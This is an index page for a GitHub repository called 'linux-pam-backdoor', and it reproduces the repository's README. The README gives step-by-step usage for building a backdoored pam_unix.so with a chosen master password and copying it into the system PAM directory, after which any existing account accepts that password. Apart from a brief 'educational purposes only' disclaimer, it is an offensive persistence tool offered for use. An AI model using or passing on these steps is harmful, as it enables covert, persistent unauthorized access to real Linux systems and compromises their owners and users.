Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/zephrax/linux-pam-backdoor
Linux PAM Backdoor
https://github.com/zephrax/linux-pam-backdoor
Last synced: 22 days ago
JSON representation
Linux PAM Backdoor
- Host: GitHub
- URL: https://github.com/zephrax/linux-pam-backdoor
- Owner: zephrax
- License: mit
- Created: 2017-06-08T21:14:34.000Z (over 7 years ago)
- Default Branch: master
- Last Pushed: 2023-11-13T11:29:44.000Z (about 1 year ago)
- Last Synced: 2024-08-05T17:45:42.305Z (4 months ago)
- Language: Shell
- Size: 6.84 KB
- Stars: 304
- Watchers: 5
- Forks: 82
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
- awesome-hacking-lists - zephrax/linux-pam-backdoor - Linux PAM Backdoor (Shell)
README
# linux-pam-backdoor
Linux PAM Backdoor
This script automates the creation of a backdoor for Linux-PAM (Pluggable Authentication Modules)## Usage
To generate the backdoored pam_unix.so, just run:
```
./backdoor.sh -v 1.3.0 -p som3_s3cr4t_p455w0rd
```You have to identify the PAM version installed on the system, to make sure the script will compile the right version. Otherwise you can break the whole system authentication.
After the execution of the script, the last step is to copy the generated pam_unix.so to the pam modules dir on the host.
```
cp pam_unix.so /usr/lib/security/
```That's all.
After that, you can log-in to the system using an existing user, and the previously configured password.
Use this for educational purposes only.
I am not responsible for the damage you might cause.## Dependencies
Tested with Ubuntu 20.04:
* 1.1.8 and older: failed to compile
* 1.2.0: worked
* 1.3.0 to 1.4.0: workedThe following packages were used:
```bash
apt install -y autoconf automake autopoint bison bzip2 docbook-xml docbook-xsl flex gettext libaudit-dev libcrack2-dev libdb-dev libfl-dev libselinux1-dev libtool libcrypt-dev libxml2-utils make pkg-config sed w3m xsltproc xz-utils gcc
```